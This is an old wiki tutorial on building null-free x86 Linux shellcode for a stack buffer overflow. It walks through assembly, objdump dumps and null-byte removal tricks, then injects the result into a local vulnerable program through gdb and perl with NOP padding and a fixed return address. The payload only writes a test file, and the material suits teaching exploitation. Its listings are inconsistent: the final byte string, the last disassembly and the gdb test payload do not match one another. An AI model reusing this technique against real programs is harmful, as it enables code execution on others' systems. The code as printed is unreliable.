Difference between revisions of "Deprecated:Null-free shellcode"

Revision as of 03:39, 5 May 2012

Introduction

Before someone can successfully create shellcode to use in a buffer overflow attack vector one must familiarize them self with the concept of buffer overflows. A buffer overflow is when a user mistakenly or not inputs more data then a buffer is meant to contain and without any proper bounds checking the program forces everything you put into the buffer overwriting various assembly registers. The purpose of this kind of attack is to fit your shellcode inside the buffer along with enough NOPS to allow you to rewrite the return pointer located in EIP. When you can successfully rewrite the return pointer you can then force the program to start at the beginning of your code on it's stack and make it do what ever you wish.

The first steps of identifying a buffer over flow is to check for segmentation faults. This usually is a sure sign of a buffer over flow because what is happening is the buffer is filled to its max and then some allowing you to overwrite the return address and when the return address is changed to an address outside the scope of the program it will segfault.

You can learn more about shellcode and Buffer_Overflows by clicking on the links.

Step one: Designing

The first step in creating a runnable shellcode is to first create your exploit in pure assembly. This will be the starting blocks that will allow you do develop and mold your exploit into anything you wish without worrying about design and nullbytes at first.

In this article we will be using a 93 byte shellcode that will open a file descriptor and write "this is lol" to a file named "lol" located at "/root/Desktop/". The first step is to create your assembly application as you see fit to later to be turned into runnable shellcode. Here is the example we will be working with.

.section .data file: .ascii "/root/Desktop/lol" #our file destination

.section .text

.global _start:

_start:

movl $5, %eax #move open() to eax movl $file, %ebx #move file destination movl $03101, %ecx #some file options movl $0666, %edx #some file permissions int $0x80 #send interrupt to obtain a file descriptor

movl %eax, %ebx #move the file descriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the beginning of our text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text to the file

movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit

Here is our basic assembly program that we will turn into our payload for our buffer overflow exploit. As you can see it is very simple and straight forward so far. It is easily manageable and changeable in its current state and this is the stage in which you should make all your design choices. After you created your payload run it through objdump to take a look at its byte code to see what you have to change.

root@ducks:~/Desktop# objdump -d p2.o

p2.o: file format elf32-i386

Disassembly of section .text:

00000000 <_start>:

  0:   b8 05 00 00 00          mov    $0x5,%eax
  5:   bb 00 00 00 00          mov    $0x0,%ebx
  a:   b9 41 06 00 00          mov    $0x641,%ecx
  f:   ba b6 01 00 00          mov    $0x1b6,%edx
 14:   cd 80                   int    $0x80
 16:   89 c3                   mov    %eax,%ebx
 18:   b8 04 00 00 00          mov    $0x4,%eax
 1d:   68 6c 6f 6c 00          push   $0x6c6f6c
 22:   68 20 69 73 20          push   $0x20736920
 27:   68 74 68 69 73          push   $0x73696874
 2c:   89 e1                   mov    %esp,%ecx
 2e:   ba 0c 00 00 00          mov    $0xc,%edx
 33:   cd 80                   int    $0x80
 35:   b8 01 00 00 00          mov    $0x1,%eax
 3a:   ba 05 00 00 00          mov    $0x5,%edx
 3f:   cd 80                   int    $0x80

As you can see this program is riddled with nullbytes which are a shellcodes worst enemy. Nullbytes cause program flow to hault when the target is reading through its stack after returning from the return address you set causing the shellcode to not be ran in its entirety. Another error in this is not of the assemblies fault, but rather the coders. The write path in which the file is to be written to is stored in static memory in the .data section. The reason this is bad design is because the target will not have this string or label in its memory so your shellcode will most likely cause a segmentation fault and will crash your target.

In order to fix these we will need to make some design changes as well as instruction changes in order to remove the nullbytes and fix the design problem.

Step two: revamping and removing nullbytes

_start:

xorl %eax, %eax xorl %ebx, %ebx xorl %ecx, %ecx xorl %edx, %edx #xor all our registers to zero them

movl $5, %eax #move open() to eax pushl $0x0000006c pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f #push our writing destination backwards in hex onto the stack movl %esp, %ebx #move the pointer to the top of our stack to ebx movl $03101, %ecx #some file options movl $0666, %edx #some file permissions int $0x80 #send interrupt to obtain a file descriptor

movl %eax, %ebx #move the file descriptor to ebx for the write() call movl $4, %eax #move the write() call to eax pushl $0x006c6f6c pushl $0x20736920 pushl $0x73696874 #push 'this is lol\0' backwards onto the stack to be written movl %esp, %ecx #move the pointer to the beginning of our text to be written movl $12, %edx #move the size of the text to be written int $0x80 #write the text

movl $1, %eax #move exit() to eax movl $5, %edx #move the return value of 5 to edx int $0x80 #exit

In this new example you can see that instead of depending on our static definition of our destination path in the .data section, we have pushed the entire string onto the stack backwards which we then moved a pointer to into the proper register. The reason we changed the design is so that when we exploit the targets buffer our path will now be on the stack so we can access it unlike before. Another change is that we zeroed out all our registers that we will be using. The reason behind this is that you can never tell what a register is set to at the time of exploitation so it is better off to zero them out when you start.

Lets now create a new objdump of our new code to see what else we have to fix.

root@ducks:~/Desktop# objdump -d p2.o

p2.o: file format elf32-i386

Disassembly of section .text:

00000000 <_start>:

  0:   31 c0                   xor    %eax,%eax
  2:   31 db                   xor    %ebx,%ebx
  4:   31 c9                   xor    %ecx,%ecx
  6:   31 d2                   xor    %edx,%edx
  8:   b8 05 00 00 00          mov    $0x5,%eax
  d:   6a 6c                   push   $0x6c
  f:   68 70 2f 6c 6f          push   $0x6f6c2f70
 14:   68 73 6b 74 6f          push   $0x6f746b73
 19:   68 74 2f 44 65          push   $0x65442f74
 1e:   68 2f 72 6f 6f          push   $0x6f6f722f
 23:   89 e3                   mov    %esp,%ebx
 25:   b9 41 06 00 00          mov    $0x641,%ecx
 2a:   ba b6 01 00 00          mov    $0x1b6,%edx
 2f:   cd 80                   int    $0x80
 31:   89 c3                   mov    %eax,%ebx
 33:   b8 04 00 00 00          mov    $0x4,%eax
 38:   68 6c 6f 6c 00          push   $0x6c6f6c
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   ba 0c 00 00 00          mov    $0xc,%edx
 4e:   cd 80                   int    $0x80
 50:   b8 01 00 00 00          mov    $0x1,%eax
 55:   ba 05 00 00 00          mov    $0x5,%edx
 5a:   cd 80                   int    $0x80

As you can see we still have a lot of nullbytes to remove from our code. Removing these can be as easy as changing the instruction in most cases, but in others such as our hex strings which have to be null terminated, we will have to implement a more complicated work around.

Step three: removing the harder nullbytes

.section .data

.section .text

.global _start

_start:

xorl %ecx, %ecx xorl %edx, %edx #use xor to zero out our registers (removed some we didnt need)

push $0x05 #push 0x05 (single byte to remove the null padding used in longs) pop %eax #pop that value into eax push $0x6c #push part of our file destination as a byte to remove padding pushl $0x6f6c2f70 pushl $0x6f746b73 pushl $0x65442f74 pushl $0x6f6f722f movl %esp, %ebx #move out stack pointer xorw $0x0641, %cx #xor our file options as a word into ecx (ecx is 0 so ecx value would be 641) xorw $0x01b6, %dx #xor our file permissions as a word into edx (ecx is 0 so edx value would be 1b6)

                       #by using this method of xoring out our nullbytes we can reduce code size as well

#as remove the null bytes int $0x80 #execute open()

movl %eax, %ebx #move our file handle into ebx for write() push $0x04 #push 0x04 pop %eax #pop it into eax for use in write() pushl $0x6c6f6c6a #push part of our null terminated hex string onto the stack pop %ecx #pop it into ecx for modification shr $0x08, %ecx #shift it to the right by 0x08 to put the nullbyte back into the string without

                       #having it directly in our code

pushl %ecx #push our modified string back onto the stack pushl $0x20736920 pushl $0x73696874 movl %esp, %ecx #move our stack pointer to ecx push $0xb #push our size of our stack in hex pop %edx #pop it back into the proper register pushl %ebx #push our file descriptor onto the stack for the next function int $0x80 #write the file

pop %ebx #get our file descriptor back push $0x06 #push 0x06 to the stack pop %eax #pop it into eax for close() int $0x80 #close our file

push $0x01 #push exit() onto the stack pop %eax #and put it in our register push $0x05 #push our return value of 5 pop %ebx #and put it in ebx int $0x80 #and exit

This code has now been heavily modified from the original to make it smaller in size, to make it run faster, and to make it have no null bytes. There are some complicated techniques used here that will help you bypass the use of nullbytes such as xoring them our or using shift-left or shift-right to put them back into a string while in memory. Using these techniques allows our shellcode to have no nullbytes and to runn flawlessly inside our targets stack.

It is time to do a final objdump to make sure all the nullbytes are gone and to make sure everything else is ok with our code. It will also give us our final bytecode dump that we will clean up to produce a functioning shellcode.

root@ducks:~/Desktop# objdump -d p2.o

p2.o: file format elf32-i386

Disassembly of section .text:

00000000 <_start>:

  0:   31 c9                   xor    %ecx,%ecx
  2:   31 d2                   xor    %edx,%edx
  7:   6a 05                   push   $0x5
  9:   58                      pop    %eax
  a:   6a 6c                   push   $0x6c
  c:   68 70 2f 6c 6f          push   $0x6f6c2f70
 11:   68 73 6b 74 6f          push   $0x6f746b73
 16:   68 74 2f 44 65          push   $0x65442f74
 1b:   68 2f 72 6f 6f          push   $0x6f6f722f
 20:   89 e3                   mov    %esp,%ebx
 22:   66 81 f1 41 06          xor    $0x641,%cx
 27:   66 81 f2 b6 01          xor    $0x1b6,%dx
 2c:   cd 80                   int    $0x80
 2e:   89 c3                   mov    %eax,%ebx
 30:   6a 04                   push   $0x4
 32:   58                      pop    %eax
 33:   68 6a 6c 6f 6c          push   $0x6c6f6c6a
 38:   59                      pop    %ecx
 39:   c1 e9 08                shr    $0x8,%ecx
 3c:   51                      push   %ecx
 3d:   68 20 69 73 20          push   $0x20736920
 42:   68 74 68 69 73          push   $0x73696874
 47:   89 e1                   mov    %esp,%ecx
 49:   6a 0b                   push   $0xb
 4b:   5a                      pop    %edx
 4c:   53                      push   %ebx
 4d:   cd 80                   int    $0x80
 4f:   5b                      pop    %ebx
 50:   6a 06                   push   $0x6
 52:   58                      pop    %eax
 53:   cd 80                   int    $0x80
 55:   6a 01                   push   $0x1
 57:   58                      pop    %eax
 58:   6a 05                   push   $0x5
 5a:   5b                      pop    %ebx
 5b:   cd 80                   int    $0x80
 

Everything appears to look okay so lets clean this objdump up and turn it into some real shellcode by removing all excess data except for the bytecode. Once you have striped away the line numbers and assembly instructions you can then add "\x" in front of every byte instruction like so.

\x31\xc9\x31\xd2\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80

This is what our final shellcode will look like. It is 93 bytes long and writes a file named "lol" to the desktop of /root/ and exits with the return value of 5.

Successful Overflow Test

To use this shellcode you can either use perl or ruby to aid you in adding the correct number of NOPS for the buffer at hand. In this case we are working with a 100 byte buffer with EIP located at 116. So that means that we should minus our shellcode from 116 which is 23 and then minus 4 for the return address which is 19. That means you must pad your shellcode with 19 NOPS in order for your return address to overwrite the EIP of the targets buffer.

This shellcode was tested on bof.c.

root@bt:~/Desktop# gdb -q ./bof

Reading symbols from /root/Desktop/bof...done.

(gdb) r "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"

Starting program: /root/Desktop/bof "`perl -e 'print "\x90"x19 . "\x31\xc9\x31\xd2\x83\xc4\x20\x6a\x05\x58\x6a\x6c\x68\x70\x2f\x6c\x6f\x68\x73\x6b\x74\x6f\x68\x74\x2f\x44\x65\x68\x2f\x72\x6f\x6f\x54\x5b\x66\x81\xf1\x41\x06\x66\x81\xf2\xb6\x01\xcd\x80\x50\x5b\x6a\x04\x58\x68\x6a\x6c\x6f\x6c\x59\xc1\xe9\x08\x51\x68\x20\x69\x73\x20\x68\x74\x68\x69\x73\x54\x59\x6a\x0b\x5a\x53\xcd\x80\x5b\x6a\x06\x58\xcd\x80\x6a\x01\x58\x6a\x05\x5b\xcd\x80" . "\x10\xf9\xff\xbf"'`"

Program exited with code 05. (gdb)

Be aware that when using perl or ruby to test your exploits you need to include double quotations around the whole command or else they will output \x20 as white space and your shellcode will be divided up and will break down.